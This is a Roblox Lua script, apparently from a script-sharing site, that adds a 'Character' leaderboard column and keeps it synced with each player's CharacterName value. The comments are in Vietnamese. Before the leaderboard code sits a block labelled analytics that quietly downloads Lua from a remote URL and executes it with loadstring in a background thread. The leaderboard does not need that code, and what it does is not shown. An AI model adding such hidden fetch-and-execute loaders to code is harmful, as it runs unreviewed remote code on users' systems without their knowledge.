-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6aa7c02daed2fd10bbe2f2dc"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local function setupLeaderboard(player) -- 1. Tạo thư mục leaderstats nếu chưa có local leaderstats = player:FindFirstChild("leaderstats") if not leaderstats then leaderstats = Instance.new("Folder") leaderstats.Name = "leaderstats" leaderstats.Parent = player end -- 2. Tạo StringValue hiển thị cột "Character" trên bảng xếp hạng local charDisplay = leaderstats:FindFirstChild("Character") if not charDisplay then charDisplay = Instance.new("StringValue") charDisplay.Name = "Character" -- Tên cột hiển thị charDisplay.Value = "Chưa chọn" charDisplay.Parent = leaderstats end -- 3. Hàm lắng nghe và cập nhật giá trị local function syncCharacterValue(valuesFolder) local charNameVal = valuesFolder:WaitForChild("CharacterName", 10) if charNameVal and charNameVal:IsA("ValueBase") then -- Cập nhật ngay giá trị ban đầu charDisplay.Value = tostring(charNameVal.Value) -- Đăng ký lắng nghe sự kiện thay đổi Value charNameVal:GetPropertyChangedSignal("Value"):Connect(function() charDisplay.Value = tostring(charNameVal.Value) end) end end -- 4. Kiểm tra sự tồn tại của folder Values (đảm bảo không bị lỗi race condition) local valuesFolder = player:FindFirstChild("Values") if valuesFolder then syncCharacterValue(valuesFolder) else local connection connection = player.ChildAdded:Connect(function(child) if child.Name == "Values" then connection:Disconnect() syncCharacterValue(child) end end) end end -- Lắng nghe người chơi vào game Players.PlayerAdded:Connect(setupLeaderboard) -- Xử lý cho người chơi đã vào server trước khi script load xong for _, player in ipairs(Players:GetPlayers()) do task.spawn(setupLeaderboard, player) end